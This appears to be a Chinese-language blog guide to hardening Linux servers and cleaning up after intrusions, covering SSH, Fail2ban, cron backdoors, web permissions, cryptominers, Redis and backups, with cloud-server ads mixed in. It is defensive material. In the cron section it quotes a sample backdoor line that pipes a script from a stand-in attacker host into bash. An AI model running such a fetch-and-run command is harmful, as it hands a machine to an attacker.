Linux 服务器总被“爆破”或挂马？这份安全加固排查指南，帮你少走弯路

前言：为什么你的 Linux 服务器总在“裸奔”？

相信不少站长都经历过这样的至暗时刻：早上起来习惯性 ssh 连上服务器，结果发现 CPU 跑满，`top` 一看全是陌生进程；或者网站突然被跳转，页面被篡改得面目全非。更头疼的是，明明改了密码，过几天日志里又出现一大堆 Failed password 记录。

笔者早期管理服务器时也踩过无数坑，一开始总以为是黑客技术太高明，后来才明白，90% 的安全事故其实源于我们自身的错误配置和疏于防范。今天不聊那种假大空的“等保三级”理论，咱们直接切入正题，把服务器上最容易出问题的几个高频“雷区”用问答的形式拆解清楚，并附上可以直接复制执行的加固脚本。

Q1：SSH 端口天天被扫描，密码爆破日志刷屏，到底怎么防？

🔥 【限时特惠福利】高性价比独享云服务器限时 1 折起

搭建网站或部署容器推荐选择高稳定性独享云服务器。限时特惠通道开放中，点击即可领取专属满减代金券与特惠折扣：

👉 立刻领取云服务器限时优惠券

💡 延伸阅读：别再对着容器发呆了：手把手带你拆解 Docker 源码，从 runc 到 shim 的底层真相

现象描述： 只要服务器有公网 IP，`/var/log/secure` 或 `auth.log` 里几乎每秒都有来自国外 IP 的 SSH 连接尝试。虽然密码设得复杂，但总感觉像在走钢丝，生怕哪天弱口令被撞库撞穿。

根因剖析：默认端口与密码认证的“原罪”

SSH 默认监听 22 端口，这是全球扫描器的“共识”。只要是公网 IP，被扫是必然的。单纯依赖密码登录，只要密码稍微有点规律（比如包含生日、纯数字），在高频离线破解下被攻破只是时间问题。

解决方案：三步走，让扫描器直接放弃

第一步：修改默认端口与禁用 Root 登录。 编辑 `/etc/ssh/sshd_config` 文件：

# 修改前先备份
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

# 修改以下参数
Port 22999                          # 自定义一个高位端口，如 22999
PermitRootLogin no                  # 禁止 root 直接 SSH 登录
PasswordAuthentication no           # 关闭密码认证（务必先配置好密钥！）
PubkeyAuthentication yes            # 开启密钥认证

# 保存后重启服务（注意：先别断开当前连接！）
systemctl restart sshd

⚠️ 特别提醒： 执行重启前，请务必确保当前终端连接未断开，并且已经将你的公钥写入 `~/.ssh/authorized_keys`。否则一旦关闭密码认证，你又没配好密钥，服务器就彻底“失联”了。

第二步：安装 Fail2ban 动态防火墙。 它就像一个智能门卫，一旦发现某个 IP 连续输错密码，直接将该 IP 拉黑一段时间。

# CentOS / Rocky 系
yum install fail2ban -y

# Debian / Ubuntu 系
apt install fail2ban -y

# 创建本地配置文件
cat > /etc/fail2ban/jail.local << 'EOF'
[sshd]
enabled = true
port = 22999
filter = sshd
logpath = /var/log/secure   # Ubuntu 请改为 /var/log/auth.log
maxretry = 3
bantime = 86400
findtime = 600
EOF

systemctl enable --now fail2ban

第三步：开启密钥登录（基础中的基础）。 在本地电脑生成密钥对，并将公钥上传至服务器，这是替代密码认证最安全的方案。

# 本地执行（Windows 用 Git Bash / PowerShell）
ssh-keygen -t ed25519 -C "your_email@example.com"

# 将公钥追加到服务器
ssh-copy-id -p 22999 user@your_server_ip

Q2：网站被挂马或植入恶意 JS，文件被篡改却找不到源头？

💡 深度技术指南：Docker开发环境搭建全指南：三大主流方案横向评测与实战避坑手册

现象描述： 网页源码里被插入了一段加密的 JavaScript，或者 `index.php` 文件头部多了一串乱码。更诡异的是，删掉之后过几天又出现了。

根因剖析：权限失控与“定时任务”后门

挂马通常有两个入口：Web 目录写入权限过大（比如 Nginx/Apache 运行用户对站点目录有写权限），以及系统定时任务被植入后门（Crontab 里藏了下载木马的指令）。黑客一旦拿到低权限 WebShell，就会利用目录权限漏洞写入恶意文件，并设置定时任务反复“复活”。

解决方案：揪出隐藏的定时任务与恶意进程

第一步：检查系统计划任务。 这是最容易忽略的地方。

# 查看当前用户及 root 的 crontab
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/

# 重点排查包含 curl 或 wget 的下载指令
# 例如：* * * * * curl -s http://evil.com/x.sh | bash

第二步：最小化目录权限。 遵循“可读不可写”原则，PHP 文件只需要读权限。

# 设置站点目录权限（以 /var/www/html 为例）
chown -R root:www /var/www/html          # 属主为 root，属组为 www
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;

# 针对需要上传的目录（如 uploads），单独去掉执行权限
chmod -R 755 /var/www/html/uploads
# 或者更严格地禁止 PHP 解析 uploads 目录（Nginx 配置中加入）：
# location ~ ^/uploads/.*\.(php|php5)$ { deny all; }

第三步：使用文件完整性校验工具。 推荐使用 `Tripwire` 或简单的 `inotifywait` 监控目录变化，但最快捷的方式是使用 `rkhunter` 扫描后门：

# 安装并更新
yum install rkhunter -y
rkhunter --propupd   # 首次建立快照
rkhunter --check     # 日常巡检

一旦发现异常文件，不要急着删，先 `lsof +L1` 查看是否有进程占用该文件，并 `ps aux` 找到父进程，顺藤摸瓜揪出 WebShell 的入口。

Q3：服务器莫名对外发包，带宽被打满，CPU 占用 100%？

现象描述： 服务器没跑什么高负载业务，但 `top` 显示某个进程占用了 99% 的 CPU，网络上传速度异常快。这通常说明服务器被植入挖矿木马，沦为肉鸡。

根因剖析：Redis / Docker 等第三方服务未授权访问

很多时候，黑客并不是通过 SSH 进来的，而是利用了中间件漏洞。比如 Redis 未设置密码且以 root 运行，黑客可以使用 `crontab` 写入 SSH 公钥直接登录；或者 Docker API 端口暴露在公网，被创建了特权容器。

解决方案：紧急止血与漏洞封堵

第一步：立即定位恶意进程并隔离。

# 查看 CPU 占用最高的进程
top -c

# 找到 PID 后，查看其可执行文件路径
ls -l /proc/PID/exe

# 强制终止并删除相关文件
kill -9 PID
rm -rf /tmp/.X11-unix   # 常见的挖矿文件藏匿目录
rm -rf /var/tmp/...     # 根据 exe 路径实际删除

第二步：切断持久化后门。 再次检查 crontab 和 `/etc/ld.so.preload`（用于劫持系统命令的 Rootkit）。

# 清空可疑的预加载库
echo "" > /etc/ld.so.preload

# 检查 SSH 公钥是否被篡改
cat ~/.ssh/authorized_keys

第三步：修复漏洞源头（以 Redis 为例）。

# 修改 Redis 配置，禁用危险命令并开启保护模式
sed -i 's/# requirepass foobared/requirepass YourStrongPass/' /etc/redis.conf
sed -i 's/^bind 127.0.0.1 -::1/bind 127.0.0.1/' /etc/redis.conf
echo "rename-command FLUSHALL \"\"" >> /etc/redis.conf
echo "rename-command CONFIG \"\"" >> /etc/redis.conf

# 重启 Redis
systemctl restart redis

Q4：核心数据被加密勒索，备份也一起遭殃，如何有效防护？

现象描述： 网站数据库被删，留下一个 `readme.txt` 要求支付比特币。更惨的是，连挂载在同一台服务器上的备份盘也被格式化了。

根因剖析：备份策略存在“单点故障”

勒索病毒一旦拿到 root 权限，会遍历所有挂载点，包括你的数据盘和备份盘。如果备份盘实时挂载且权限过大，等于给黑客送了一锅端的机会。

解决方案：构建“3-2-1”备份体系与最小化服务暴露

这个问题的根源其实还是服务器被入侵，所以核心防护在于内网隔离与离线备份。

层级	策略	具体操作
系统层	关闭不必要的端口	仅保留 80/443/SSH 自定义端口，其余一律 `firewall-cmd --remove-port`
应用层	数据库低权限运行	禁止 MySQL 以 root 运行，使用独立账号并限制来源 IP 仅限内网
数据层	异地/离线备份	使用 `rsync` 推送到另一台无公网 IP 的内网机器，或使用对象存储 COS 并开启版本控制

推荐使用 `restic` 或 `borgbackup` 这类支持加密和去重的备份工具，将备份数据加密后推送至远程存储，这样即使备份文件泄露，没有密钥也无法解密。

# 使用 restic 初始化仓库
restic init --repo sftp:user@backup-server:/srv/restic

# 定时备份 /var/www 和数据库 dump
restic backup /var/www/html --repo sftp:user@backup-server:/srv/restic

总结：安全是持续运营出来的，不是一蹴而就的

Linux 服务器安全策略其实并不神秘，核心就是“缩小攻击面”和“纵深防御”。不要指望装一个安全软件就能一劳永逸，而是要养成定期巡检的习惯。

最后给各位站长一个最中肯的建议：不要在廉价且陌生的 VPS 上运行生产环境。选择云服务商时，一定要看重其底层隔离技术和安全组功能。同时，域名注册务必选择正规服务商并开启 DNSSEC，防止域名被劫持导致流量被导流到钓鱼站。服务器本身的安全靠技术，而基础设施的安全则靠你的选择。

希望这篇实战排查指南能帮你少踩几个坑。如果觉得有帮助，不妨把这篇文章收藏起来，下次服务器再闹脾气时，翻出来对照排查一遍，你会回来感谢笔者的。